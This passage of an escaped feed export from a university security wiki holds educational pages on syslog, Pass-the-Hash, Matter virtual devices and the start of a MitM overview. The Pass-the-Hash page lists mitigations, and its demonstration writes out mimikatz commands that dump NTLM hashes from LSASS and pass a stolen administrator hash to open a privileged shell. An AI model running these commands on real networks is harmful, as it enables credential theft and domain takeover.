Jan  4 06:10:20 bitsf kernel: [    0.000000] x86/fpu: Supporting XSAVE feature 0x001: &#039;x87 floating point registers&#039;&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000] x86/fpu: Supporting XSAVE feature 0x002: &#039;SSE registers&#039;&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000] x86/fpu: Supporting XSAVE feature 0x004: &#039;AVX registers&#039;&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000] x86/fpu: xstate_offset[2]:  576, xstate_sizes[2]:  256&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000] x86/fpu: Enabled xstate features 0x7, context size is 832 bytes, using &#039;compacted&#039; format.&lt;br /&gt;
[...]&lt;br /&gt;
Jan  4 06:20:01 bitsf kernel: [  585.917268] usb 1-1: new high-speed USB device number 2 using ehci-pci&lt;br /&gt;
Jan  4 06:20:01 bitsf kernel: [  586.214302] usb 1-1: New USB device found, idVendor=0781, idProduct=5581, bcdDevice= 1.00&lt;br /&gt;
Jan  4 06:20:01 bitsf kernel: [  586.214306] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3&lt;br /&gt;
Jan  4 06:20:01 bitsf kernel: [  586.214309] usb 1-1: Product: Ultra&lt;br /&gt;
Jan  4 06:20:01 bitsf kernel: [  586.214310] usb 1-1: Manufacturer: SanDisk&lt;br /&gt;
Jan  4 06:20:01 bitsf kernel: [  586.214312] usb 1-1: SerialNumber: 4C530001140828116221&lt;br /&gt;
Jan  4 06:20:01 bitsf mtp-probe: checking bus 1, device 2: &amp;quot;/sys/devices/pci0000:00/0000:00:11.0/0000:02:03.0/usb1/1-1&amp;quot;&lt;br /&gt;
Jan  4 06:20:01 bitsf mtp-probe: bus: 1, device: 2 was not an MTP device&lt;br /&gt;
Jan  4 06:20:01 bitsf kernel: [  586.247843] usb-storage 1-1:1.0: USB Mass Storage device detected&lt;br /&gt;
Jan  4 06:20:01 bitsf kernel: [  586.249017] scsi host33: usb-storage 1-1:1.0&lt;br /&gt;
Jan  4 06:20:01 bitsf kernel: [  586.249296] usbcore: registered new interface driver usb-storage&lt;br /&gt;
Jan  4 06:20:01 bitsf kernel: [  586.255991] usbcore: registered new interface driver uas&lt;br /&gt;
Jan  4 06:20:01 bitsf mtp-probe: checking bus 1, device 2: &amp;quot;/sys/devices/pci0000:00/0000:00:11.0/0000:02:03.0/usb1/1-1&amp;quot;&lt;br /&gt;
Jan  4 06:20:01 bitsf mtp-probe: bus: 1, device: 2 was not an MTP device&lt;br /&gt;
Jan  4 06:20:01 bitsf dbus-daemon[735]: [system] Activating via systemd: service name=&#039;net.reactivated.Fprint&#039; unit=&#039;fprintd.service&#039; requested by &#039;:1.81&#039; (uid=1000 pid=1742&amp;gt;&lt;br /&gt;
Jan  4 06:20:01 bitsf systemd[1]: Starting Fingerprint Authentication Daemon...&lt;br /&gt;
Jan  4 06:20:01 bitsf dbus-daemon[735]: [system] Successfully activated service &#039;net.reactivated.Fprint&#039;&lt;br /&gt;
Jan  4 06:20:01 bitsf systemd[1]: Started Fingerprint Authentication Daemon.&lt;br /&gt;
Jan  4 06:20:02 bitsf kernel: [  587.271261] scsi 33:0:0:0: Direct-Access     SanDisk  Ultra            1.00 PQ: 0 ANSI: 6&lt;br /&gt;
Jan  4 06:20:02 bitsf kernel: [  587.272204] sd 33:0:0:0: Attached scsi generic sg2 type 0&lt;br /&gt;
Jan  4 06:20:02 bitsf kernel: [  587.278328] sd 33:0:0:0: [sdb] 120127488 512-byte logical blocks: (61.5 GB/57.3 GiB)&lt;br /&gt;
Jan  4 06:20:02 bitsf kernel: [  587.286835] sd 33:0:0:0: [sdb] Write Protect is off&lt;br /&gt;
Jan  4 06:20:02 bitsf kernel: [  587.286839] sd 33:0:0:0: [sdb] Mode Sense: 43 00 00 00&lt;br /&gt;
Jan  4 06:20:02 bitsf kernel: [  587.294171] sd 33:0:0:0: [sdb] Write cache: disabled, read cache: enabled, doesn&#039;t support DPO or FUA&lt;br /&gt;
Jan  4 06:20:02 bitsf kernel: [  587.356378]  sdb: sdb1&lt;br /&gt;
Jan  4 06:20:02 bitsf kernel: [  587.387213] sd 33:0:0:0: [sdb] Attached SCSI removable disk&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.syslog-ng.com/&lt;br /&gt;
* https://www.rsyslog.com/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Pass-the-Hash_(PtH)&amp;diff=14649</id>
		<title>Pass-the-Hash (PtH)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Pass-the-Hash_(PtH)&amp;diff=14649"/>
		<updated>2024-03-12T18:37:42Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[Disclamer: this Wiki page is just an explanation of how Pass-The-Hash attack works and how it can be carried out and is done only for educational purposes. &lt;br /&gt;
The author does not hold any responsibility for any misuse of the information included in this Wiki page and advises not to use it for any illegal actions nor in any way that could be harmful to any person or entity.]&lt;br /&gt;
&lt;br /&gt;
== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since 1991, when Microsoft introduced the Lan Manager, local Windows networks had a weak point which made it possible for an attacker to authenticate themself as a user in the network if they gained access to a machine in the network. A Windows network consists of several systems, machines and protocols which work together to authenticate a user or a machine in said system. But early Windows iterations came with an authentication mechanism which was insecure and easy to attack once an attacker had an entry point into a Windows network.&lt;br /&gt;
&lt;br /&gt;
With Pass-The-Hash attackers can authenticate themself to a domain server, even if they do not have the real password in plaintext! On a machine under an attackers control, they can read the hash values of all user who logged onto that machine and gain access to files and services the corresponding users would have access to. Once in possession of the password hash, they can exploit a design weakness in the authentication protocols Windows implements to impersonate themself as registered users in the system.&lt;br /&gt;
&lt;br /&gt;
While still all Windows operating systems implement this protocols, they are not configured by default and a system administrator must switch them on intentionally. So, if no mistakes were made during configuration of the Windows local network, the Pass-The-Hash attack should not be feasible anymore.&lt;br /&gt;
&lt;br /&gt;
== Windows network authentication ==&lt;br /&gt;
&lt;br /&gt;
When a user loges onto a Windows network, several systems and protocols need to work together to allow the user access to machines, files and services in the system.&lt;br /&gt;
&lt;br /&gt;
[[File:DomainAuthentication.png|650px]]&lt;br /&gt;
&lt;br /&gt;
=== Local Security Authority Subsystem Service (LSASS) ===&lt;br /&gt;
&lt;br /&gt;
The LSASS is the local authentication service which handles all users and logins on a single machine. When a user enters its credentials, the LSASS authenticates them by either looking up the stored passwords locally, or, when the user wants to log onto a network, communicates with the domain controller to authenticate the user. For authentication in a network it uses the Lan Manager (LM) or later the New Technology Lan Manager (NTLM) to encrypt a challenge send by the domain controller to verify the user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Lan Manager (LM) ===&lt;br /&gt;
&lt;br /&gt;
The Lan Manager was introduced to Windows in 1991 to authenticate users in a local network. Its tasks are to hash the user password and to encrypt the challenge send by the domain controller to authenticate a user. To generate the hash it follows this steps:&lt;br /&gt;
&lt;br /&gt;
# The password gets converted to uppercase.&lt;br /&gt;
# The string gets padded to 14 bytes&lt;br /&gt;
# and split into two halves which each build a DES key.&lt;br /&gt;
# Each key then encrypts a constant.&lt;br /&gt;
# The results get concatenated which build the LM hash.&lt;br /&gt;
&lt;br /&gt;
Then to answer the challenge from the domain controller the LM&lt;br /&gt;
&lt;br /&gt;
# pads the Hash to 21 bytes&lt;br /&gt;
# which get split into three parts to 7 bytes each.&lt;br /&gt;
# Each part is used as a DES key&lt;br /&gt;
# to encrypt the challenge.&lt;br /&gt;
# The three results get concatenated to the answer.&lt;br /&gt;
&lt;br /&gt;
If the domain controller calculates the same answer, the user now is authenticated in the network.&lt;br /&gt;
&lt;br /&gt;
Even by the time it was introduced, the LM was not considered safe.&lt;br /&gt;
Some of the vulnerabilities in its algorithms and protocols were:&lt;br /&gt;
&lt;br /&gt;
*No distinguishing between capital and small letters, i.e., case-insensitive.&lt;br /&gt;
*It did not allow long passwords, but only up to 14 chars.&lt;br /&gt;
*Only 56 Bit out of 128 Bits were used for the key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== New Technology LAN Manager (NTLM) ===&lt;br /&gt;
&lt;br /&gt;
1993 Microsoft introduced the NTLM (version 1) to new Windows iterations. It came with a few security improvements like an improved challenge and it didn&#039;t transfer the has in plaintext anymore. The most important change though was the use of the MD4 hash function to calculate the password hash.&lt;br /&gt;
&lt;br /&gt;
Three years later, 1996, Microsoft introduced the second version of the NTLM which improved the security further by implementing longer passwords and a once again improved challenge. This new challenge was now calculated as followed:&lt;br /&gt;
&lt;br /&gt;
# The password hash was calculated using the MD4 hash algorithm.&lt;br /&gt;
# Username and domain name get concatenated&lt;br /&gt;
# and this value gets encrypted using the HMAC-MD5 algorithm with the password hash as a key which results in the NTLM v2 password hash.&lt;br /&gt;
# A BLOB gets generated and concatenated with the challenge.&lt;br /&gt;
# The result gets encrypted with the HMAC-MD5 algorithm using the NTLM v2 password hash as a key.&lt;br /&gt;
# The resulting value is then concatenated with the BLOB and send to the domain controller as the answer.&lt;br /&gt;
&lt;br /&gt;
Although these changes did improve the security of the protocol by helping to mitigate offline relay attacks, but leave NTLMv2 exposed to other NTLMv1 vulnerabilities and therefore still does not meet the standards required today. It still uses the MD4 hash, which by today&#039;s standards is not satisfactory, and saves the hashes unsalted on the local machine, before sending it salted over the wire. New authentication suites such as Kerberos help mitigate many of these vulnerabilities. Kerberos adds more security measures such as relying on a third server to authenticate both parties, so the client and the server are certain they are communicating with the correct opposites.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Pass-The-Hash ==&lt;br /&gt;
&lt;br /&gt;
For the attack to be viable, a few preconditions need to be met:&lt;br /&gt;
&lt;br /&gt;
* The attacker already needs to have access to a vulnerable machine in the network.&lt;br /&gt;
* On this machine the attacker needs to have local administrator rights.&lt;br /&gt;
* LM or NTLM need to be configured to be used by the LSASS.&lt;br /&gt;
&lt;br /&gt;
=== Accessing the password hash ===&lt;br /&gt;
&lt;br /&gt;
There are a couple of ways to do access a user password hash on a local machine:&lt;br /&gt;
&lt;br /&gt;
* Windows stores hashes of users in the network that logged onto on that machine in a process called Local Security Authority Subsystem Service (lsass.exe). An attacker can read from this running programm to access the password hashes. As soon as the machine shuts down, the hashes are no longer stored.&lt;br /&gt;
* The hashes local users are stored in a registry file or also called the Security Account Manager (SAM). This file is always accessible, even after a restart of the machine.&lt;br /&gt;
* Sniffing the network for any hashes that are being transferred.&lt;br /&gt;
&lt;br /&gt;
The SAM database does not guarantee access to a network account, so the safest attack route would be to access the password hashes stored in the lsass.exe.&lt;br /&gt;
To read out the LSASS process or the SAM, the program needs local admin rights. Thus, the user has to be tricked into executing it with the according rights.&lt;br /&gt;
&lt;br /&gt;
=== Tools ===&lt;br /&gt;
&lt;br /&gt;
There are several tools which can be used to perform the Pass-The-Hash attack. Consequently, two of the most popular tools are introduced : &lt;br /&gt;
&lt;br /&gt;
* Samdump2&lt;br /&gt;
* Mimikatz&lt;br /&gt;
&lt;br /&gt;
=== Samdump2 ===&lt;br /&gt;
&lt;br /&gt;
samdump2 tool was designed to get dumps of Windows password hashes, namely Windows XP, NT, and 2k, and as the name suggests it does this by taking a dump of the SAM file using something called syskey, which is a feature in Windows that is supposed to strengthen the SAM database by adding and an additional layer of encryption.&lt;br /&gt;
&lt;br /&gt;
=== Mimikatz ===&lt;br /&gt;
&lt;br /&gt;
[[File:Mimikatz.jpeg|650px]]&lt;br /&gt;
&lt;br /&gt;
Mimikatz, on the other hand, tries to extract hashes, PIN codes, as well as passwords in plain text from memory.&lt;br /&gt;
It is a much stronger tool since it allows a wider variety of other attacks that are mainly focused on playing with the weak security of Windows systems that use the protocols mentioned above.&lt;br /&gt;
Mimikatz is also one of few tools that got updated after Windows Defender Credential Guard (WDCG) was enabled by default with Windows 10. WDCG made access to the LSASS process extremely difficult. &lt;br /&gt;
This concludes the set of tools that are going to be used in the accompanying demonstration of this essay to demonstrate how PtH attack works when using these tools.&lt;br /&gt;
&lt;br /&gt;
=== Passing the hash ===&lt;br /&gt;
&lt;br /&gt;
[[File:PTH_Attack.png|400px]]&lt;br /&gt;
&lt;br /&gt;
After stealing the password hash, the attacker can access every file and service authorised for the user whos password hash they now possess. They now simply answer the domain controllers challenge with the password hash they stole and perfectly impersonate the target user. If the user happens to be an administrator in the domain, the attacker now has full control over the network.&lt;br /&gt;
&lt;br /&gt;
== Mitigation and preventive measures  ==&lt;br /&gt;
&lt;br /&gt;
Over the years, many improvements to the vulnerable protocols in question have been released, and more and more studies are being done by Microsoft [5] and other institutions to mitigate this attack.&lt;br /&gt;
Some of the mitigation techniques that are mentioned in these studies are:&lt;br /&gt;
&lt;br /&gt;
# Protecting the accounts that have high privileges by adding more restrictions to them like not having email accounts.&lt;br /&gt;
# Removing administrative privileges to local accounts and then restricting these accounts to help to prevent the attackers from taking advantage of such accounts.&lt;br /&gt;
# Adding firewall rules that would restrict the incoming traffic to the server.&lt;br /&gt;
# Correlating Authentication Services.&lt;br /&gt;
&lt;br /&gt;
This is by no means an exhaustive list, simply a guide in the proper direction. Other principles like security by obscurity, by hiding the LSASS memory location, are not viable options in this case. This is due to the fact that the IT security field is so vast and the knowledge of Windows infrastructure so known, that it would be found again very quickly. Additionally, some more recommendations are listed below:&lt;br /&gt;
&lt;br /&gt;
Other recommendations:&lt;br /&gt;
&lt;br /&gt;
#Do not let highly privileged accounts browse the Internet&lt;br /&gt;
#Standard users should be removed from the local Administrators group&lt;br /&gt;
#Ensure that administrative accounts do not have email addresses&lt;br /&gt;
#Update operating system and applications&lt;br /&gt;
#Limit the amount of privileged domain accounts and their use&lt;br /&gt;
#Domain controllers must be secured and managed&lt;br /&gt;
&lt;br /&gt;
== Demonstration using mimikatz ==&lt;br /&gt;
&lt;br /&gt;
In our scenario, we have two computers that belong to different domains but are inside the same intranet network, let us say one belongs to the administrators&#039; domain, and the second one belongs to the employees&#039; domain.&lt;br /&gt;
&lt;br /&gt;
All that is left now is for someone from the employee domain, to ask someone from the administrators&#039; domain to install something on their PC using their admin account. &lt;br /&gt;
&lt;br /&gt;
When the administrator logs in to the employee&#039;s pc, the hash value is saved locally in the LSASS process. Now the attack is ready to be carried out.&lt;br /&gt;
&lt;br /&gt;
Because the employee knows a way to become a local admin he downloads mimikatz, executes it, and types the following:&lt;br /&gt;
&lt;br /&gt;
 privilege::debug;&lt;br /&gt;
&lt;br /&gt;
This command grant mimikatz debug rights which are also needed.&lt;br /&gt;
&lt;br /&gt;
 sekurlsa::logonpasswords;&lt;br /&gt;
&lt;br /&gt;
This would then show a dump of all the NTLM hashes that are stored on the system, and of course, it also includes the NTLM hash of the domain administrator.&lt;br /&gt;
&lt;br /&gt;
Now the employee can use the information of that admin (username, domain, and NTLM hash) to authenticate to other clients and servers in that domain using mimikatz:&lt;br /&gt;
&lt;br /&gt;
 sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NTLM_HASH /run:cmd&lt;br /&gt;
&lt;br /&gt;
After this, a cli should open with administrative privileges and the employee is able to extract any information he or she wants.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Furthermore, the hash value of the password can even be cracked. If the password is not secure enough such as ”123456789”, you can find out the actual password by using a random free password hash cracker on the internet. This is the reason being,&lt;br /&gt;
why passwords should be taken much more into consideration. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Online CrackStationjpeg.jpeg|650px]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
The pass-the-hash attack can be a horrifying attack given what kind of privileges it gives the attacker in the case of a successful attack, but this is not the end of the mitigation methods that were implemented with a regular update to the system it should mitigate the attack and protect servers against it. Also, there is a server lining, in that it pushes forward the security of Windows servers and lets the developers focus on improving them to let system administrators have much more secure servers to deal with. Although , it cannot be ruled out completely that attackers would find new approaches to exploit vulnerabilities in authentication protocols.&lt;br /&gt;
&lt;br /&gt;
== Sources ==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/gentilkiwi/mimikatz&lt;br /&gt;
* https://linux.die.net/man/1/samdump2&lt;br /&gt;
* https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283&lt;br /&gt;
* https://www.microsoft.com/en-us/download/details.aspx?id=36036&lt;br /&gt;
* https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/a4f28e01-3df1-4fd1-80b2-df1fbc183f21&lt;br /&gt;
* https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2016/2871997?redirectedfrom=MSDN&lt;br /&gt;
* https://ieeexplore.ieee.org/document/7474171&lt;br /&gt;
* https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-windows-10-39170&lt;br /&gt;
* https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/ntlm-user-authentication&lt;br /&gt;
*https://www.sans.org/white-papers/33283/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Matter&amp;diff=14648</id>
		<title>Matter</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Matter&amp;diff=14648"/>
		<updated>2024-03-12T18:37:01Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Matter_logo.jpg|thumb|Logo of Matter&amp;lt;ref name=&amp;quot;logo&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Matter&#039;&#039;&#039; is an open standard that has been developed by the &amp;quot;Project Connected Home over IP&amp;quot; (CHIP) working group since 2019 and was first published in October 2022. It is intended to enable communication between devices from various manufacturers such as Google, Samsung, Apple and Amazon, thereby extending the boundaries of existing smart home networks.&lt;br /&gt;
&lt;br /&gt;
== Protocol ==&lt;br /&gt;
&lt;br /&gt;
It is an application layer protocol that is based on network protocols such as IPv6, Thread and BLE. Bridges are required to translate the network layers in order to be able to access Thread- or BLE-based devices from IP networks. &lt;br /&gt;
&lt;br /&gt;
The Google Developer Center offers general documentation&amp;lt;ref name=&amp;quot;matter-info&amp;quot; /&amp;gt; for Matter, which explains, for example, how a new device can connect to the Matter network.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Primer-matter-architecture.png|The Matter Stack in the TCP/IP and OSI Model]]&lt;br /&gt;
&lt;br /&gt;
== Matter Virtual Device ==&lt;br /&gt;
The Google Developer Center provides resources for the development of Matter-based devices such as a sample app for connecting Matter devices &amp;lt;ref name=&amp;quot;sample-app&amp;quot; /&amp;gt; or virtual Matter devices &amp;lt;ref name=&amp;quot;virtual-device&amp;quot; /&amp;gt; for testing the interfaces.&lt;br /&gt;
&lt;br /&gt;
A Matter Virtual Device (MVD) is an emulation of a Matter device and simulates the behavior of a device, e.g. switching a light switch on/off.&lt;br /&gt;
&lt;br /&gt;
=== Possibilities ===&lt;br /&gt;
The virtual device can be built and started in several ways. A total of three possibilities have been found:&lt;br /&gt;
&lt;br /&gt;
* Standalone&lt;br /&gt;
* Docker Image&lt;br /&gt;
* GitHub Repository&lt;br /&gt;
&lt;br /&gt;
It turned out that the standalone is the best way to quickly set up an MVD. This requires an environment with a 64-bit x86 processor and at least Debian 11, Ubuntu 20.04 or MacOS.&lt;br /&gt;
&lt;br /&gt;
==== GitHub Repository ====&lt;br /&gt;
&lt;br /&gt;
# git clone https://github.com/project-chip/connectedhomeip&lt;br /&gt;
# Initialize the Matter project using &amp;quot;source scripts/activate.sh&amp;quot;&lt;br /&gt;
This variant was not pursued further, as the repository is resolved recursively and execution takes a lot of time.&lt;br /&gt;
&lt;br /&gt;
==== Docker Image Repository ====&lt;br /&gt;
&lt;br /&gt;
# docker pull us-docker.pkg.dev/nest-matter/docker-repo/virtual-device-image:latest&lt;br /&gt;
This approach downloads a Docker image that is larger than 10GB. Unpacked, it then has more than 30GB and is therefore also not suitable as a fast approach for development with Matter devices.&lt;br /&gt;
&lt;br /&gt;
==== Standalone ====&lt;br /&gt;
The standalone Matter device was published relatively recently by Google, but is very easy to set up. Due to its comparatively small size of less than 70MB, it is easy to download and can be up and running within a few minutes.&lt;br /&gt;
&lt;br /&gt;
https://i.imgur.com/Rjqabwb.png&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Installation steps (Debian/Ubuntu)&amp;lt;/b&amp;gt;&lt;br /&gt;
# wget https://dl.google.com/mvd/mvd_1.3.0_amd64.deb&lt;br /&gt;
# sudo dpkg -i mvd_1.3.0_amd64.deb&lt;br /&gt;
# mvd&lt;br /&gt;
&lt;br /&gt;
A GUI opens with which you can create an MVD.&lt;br /&gt;
&lt;br /&gt;
[[File:MVD-Create.png|500px]]&lt;br /&gt;
&lt;br /&gt;
In the new window, you can configure some settings for the device:&lt;br /&gt;
&lt;br /&gt;
# Device Type - You can simulate several types of smart home devices&lt;br /&gt;
# Vendor ID - Unique certified ID for the vendor (possible values in development: &amp;lt;b&amp;gt;0xFFF1, 0xFFF2, 0xFFF3 and 0xFFF4&amp;lt;/b&amp;gt;)&lt;br /&gt;
# Product ID - Unique certified ID for the product (possible values in development: &amp;lt;b&amp;gt;0x8000 to 0x801F&amp;lt;/b&amp;gt;)&lt;br /&gt;
# Discriminator - If the same product occurs several times in the network, the discriminator can be used to differentiate between them.&lt;br /&gt;
&lt;br /&gt;
=== Controller GUI ===&lt;br /&gt;
A GUI is required to communicate with the Matter device. There are two options for this:&lt;br /&gt;
&lt;br /&gt;
==== Internal GUI via RPC ====&lt;br /&gt;
The standalone MVD is supplied with an integrated GUI, whereby the device is addressed on a different port (RPC port: 33000) than the Matter port (Matter port: 5540).&lt;br /&gt;
As soon as the MVD has been created, the control UI for the simulated device opens.&lt;br /&gt;
&lt;br /&gt;
[[File:MVD-GUI.png|500px]]&lt;br /&gt;
&lt;br /&gt;
==== GUI via Mobile App ====&lt;br /&gt;
The Google Developer Center has provided a CodeLab&amp;lt;ref name=&amp;quot;sample-app&amp;quot; /&amp;gt; with which you can develop a simple Kotlin app for controlling Matter devices.&lt;br /&gt;
You can download a skeleton and the tutorial accompanies the developer to implement any missing code sections, which are marked with the comment &amp;quot;&amp;lt;b&amp;gt;// CODELAB:&amp;lt;/b&amp;gt;&amp;quot;.&lt;br /&gt;
They also offer a fully comprehensive solution to compare one&#039;s own implementation.&lt;br /&gt;
&lt;br /&gt;
This app was then launched onto a mobile phone using USB debugging.&lt;br /&gt;
&lt;br /&gt;
[[File:MVD-KotlinCode.png|500px]]&lt;br /&gt;
&lt;br /&gt;
https://i.imgur.com/req0VHX.png&lt;br /&gt;
&lt;br /&gt;
https://i.imgur.com/8jGIO3T.png&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Connection ===&lt;br /&gt;
To connect to a Matter device on your mobile phone, you need the following prerequisites:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;li&amp;gt;Android Version - Version &amp;gt;= 8.1&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Google Play Service - Version &amp;gt;= 22.36.15&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Google Home App - Installed&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steps ====&lt;br /&gt;
&amp;lt;li&amp;gt;To check whether the mobile phone is ready to connect Matter devices, check whether the selection &amp;lt;b&amp;gt;Matter devices&amp;lt;/b&amp;gt; exists under &amp;lt;b&amp;gt;Settings -&amp;gt; Google -&amp;gt; Devices and Sharing&amp;lt;/b&amp;gt;. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;If not, you should try reinstalling the Google Home app, as downloading this app also downloads the dependencies required to connect to a Matter device.&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Matter-DevicesAndSharing.png|250px]]&lt;br /&gt;
[[File:Matter-Devices.png|250px]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;li&amp;gt;If this step has been completed, a QR code will be generated in the MVD controller GUI.&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:MVD-QR.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;li&amp;gt;Click on the + symbol on the app and a new window will open where you can scan the QR code with the camera.&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Matter-Scan.png|250px]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;li&amp;gt;When connecting the device it should say that Matter Credentials have been created, commissioned and finally connected.&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Matter-Connected.png|250px]]&lt;br /&gt;
&lt;br /&gt;
=== Security aspect ===&lt;br /&gt;
&lt;br /&gt;
This topic was presented as part of elective project 2. The task was to recreate an attack using the MVD and show that it could be detected and mitigated during development. However, due to the newness of the standard, it is not yet widely established and therefore few vulnerabilities and exploits are known. Therefore, we could only try a DoS attack and thus prevent access to the MVD. It was not possible to evaluate whether a DoS occurred on the device itself or on the executing platform.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;logo&amp;quot;&amp;gt;https://commons.wikimedia.org/wiki/File:Matter_logo.jpg&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;sample-app&amp;quot;&amp;gt;https://developers.home.google.com/codelabs/matter-sample-app#1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;matter-info&amp;quot;&amp;gt;https://developers.home.google.com/matter/primer&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;virtual-device&amp;quot;&amp;gt;https://developers.home.google.com/tools/virtual-device&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Machine-in-the-Middle_(MitM):_General&amp;diff=14647</id>
		<title>Machine-in-the-Middle (MitM): General</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Machine-in-the-Middle_(MitM):_General&amp;diff=14647"/>
		<updated>2024-03-12T18:35:49Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
&lt;br /&gt;
This documentation aims to provide a general description of Machine-in-the-Middle (MitM) attacks and two examples of tools - Ettercap and Bettercap - are given. Note that MitM is a very broad term and a lot of aspects, methodologies, and tools will fall into this category. Especially in practice, people will often use the term &amp;quot;MitM&amp;quot; in a variety of contexts. Therefore, this article should give you just an overview: depending on your specific needs and goals a deeper dig into related documentation of the technologies and tools will be necessary. You might also firstly search here in the Elvis Wiki whether an article is already provided and you can start working with that.&lt;br /&gt;
&lt;br /&gt;
== What is a Machine-in-the-Middle (MitM) attack? == &lt;br /&gt;
&lt;br /&gt;
Formerly called “Man-in-the-Middle” attack this is nowadays deprecated as it is not gender-inclusive. Therefore, and to keep the commonly used abbreviation “MitM”, it is nowadays often called Machine-in-the-Middle or sometimes also “Person-in-the-Middle” (PitM).&lt;br /&gt;
&lt;br /&gt;
NIST, the National Institute of Standards and Technology, a very well-known and in the information security industry high renown organization, has the following – compact, though meaningful – definition of what a MitM is:&lt;br /&gt;
“An attack where the adversary positions themselves between the user and the system so that they can intercept and alter data traveling between them.” (https://csrc.nist.gov/glossary/term/mitm, accessed: 22.12.2023)&lt;br /&gt;
Please note, that the quotation has been adapted to comply with a gender-neutral language (themselves instead of himself and they instead of he).&lt;br /&gt;
The definition given above talks about “user” and “system”. In practice, the “user” is often a client (where the human user is working on an Internet-connected device), and the “system” is usually a server that provides services, processes requests, and delivers responses.&lt;br /&gt;
&lt;br /&gt;
In cyber security, it is often the goal of the adversary (or another interested party like security researchers) to gain a MitM position, as it allows this entity to read data (depending on the scenario the data might be e.g., encrypted), modify data, drop data, do further unintended actions or a combination of them.&lt;br /&gt;
&lt;br /&gt;
Think of a MitM attack like this:&lt;br /&gt;
&lt;br /&gt;
[[File:BasicMitM.png|500px]]&lt;br /&gt;
&lt;br /&gt;
In the picture, the MitM was between a client (user) and a web server providing a website.&lt;br /&gt;
&lt;br /&gt;
MitM is heavily connected to the concept of ‘spoofing’ where spoofing means, very basically speaking, the faking of the (source) parameter in a protocol to mimic another identity.&lt;br /&gt;
&lt;br /&gt;
Think of spoofing like this:&lt;br /&gt;
&lt;br /&gt;
[[File:BasicSpoofing.png|500px]]&lt;br /&gt;
&lt;br /&gt;
== How are Machine-in-the-Middle attack (Tools) working? ==&lt;br /&gt;
&lt;br /&gt;
You have to know that MitM is a very general term and when going into more detail, it becomes clear that there exist several specific techniques to achieve a MitM position.&lt;br /&gt;
&lt;br /&gt;
Below are some common techniques provided with a short description.&lt;br /&gt;
&lt;br /&gt;
=== ARP Spoofing/Cache Poisoning ===&lt;br /&gt;
